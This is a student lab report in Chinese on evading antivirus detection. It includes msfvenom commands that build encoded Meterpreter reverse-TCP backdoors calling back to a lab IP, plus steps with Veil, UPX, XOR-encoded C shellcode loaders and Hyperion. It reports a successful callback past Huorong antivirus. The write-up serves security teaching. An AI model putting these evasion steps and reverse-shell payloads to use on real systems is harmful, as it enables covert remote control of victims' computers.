1. 实验内容
1.1 实验要求
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 问题回答
1.2.1 杀软是如何检测出恶意代码的?
• 基于特征:恶意代码中一般会有一段特征码,如果杀软检测到有程序包含的特征码与它的特征码库的代码相匹配,就会把该程序当作恶意软件。
• 基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀软会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
1.2.2 免杀是做什么?
免杀技术全称为反杀毒技术,躲避杀毒软件的检测。它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
1.2.3 免杀的基本方法有哪些?
自编码免杀、自捆绑棉纱、自捆绑+编码免杀、多重编码+捆绑免杀等
2. 实验过程
2.1.1 msf编码器
使用
msfvenom -l encoders
查看编码器类型
设置不同的编码次数,通过VirusScan扫描
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 次数 -b ‘\x00’ LHOST=IP地址 LPORT=端口号 -f exe > 20202402backdoor.exe
我设置了10和50两个次数梯度,发现没有什么区别
2.1.2 不同格式
以不同的格式输出,通过VirusTotal观察免杀效果
以jar格式
以php格式
以python格式
以apk格式
由此得出结论,不同格式对于免杀有不同效果,python的效果令我有点意外。
2.1.3 使用veil
安装veil(这个破东西是真难装)
通过general生成后门,并通过VirusTotal观察免杀效果
对这个程序进行upx加壳
再通过VirusTotal观察免杀效果
发现并没有什么卵用,变化不大
2.1.4 shellcode编程
使用mstasploit生成shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.144 LPORT=2402 -f c
接着
vim bcc.c
如图编写
调用这个函数让他能够运行
i686-w64-mingw32-g++ bcc.c -o bcc.exe
使用VirusTotal观察免杀效果
由此看出shellcode免杀效果比之前的方法要好
2.2 组合
先用msf生成shellcode,然后再编程让他异或,代码如图
使用VirusTotal观察免杀效果
再在这个的基础上加一层hyperion
然而免杀效果反而变弱了
2.3 用另一台电脑实测
在杀软启动的情况下回连成功,对方杀软是最新的火绒
通过shellcode_launcher进行加载
成功回连
3. 问题及解决
3.1 veil安装报错
Can’t find the WINE profile for AuotIT v3
解决方法:https://blog.csdn.net/daxueba/article/details/104638075
4. 实验感悟
本次实验中,对我来说最困难的两件事就是veil的安装和任务三的互连,其他内容按照实验指导都很容易理解和实现。杀软并不可信,后门程序可以不被检测出来并对我们的计算机产生威胁,所以安全意识至关重要,及时查杀,及时防护。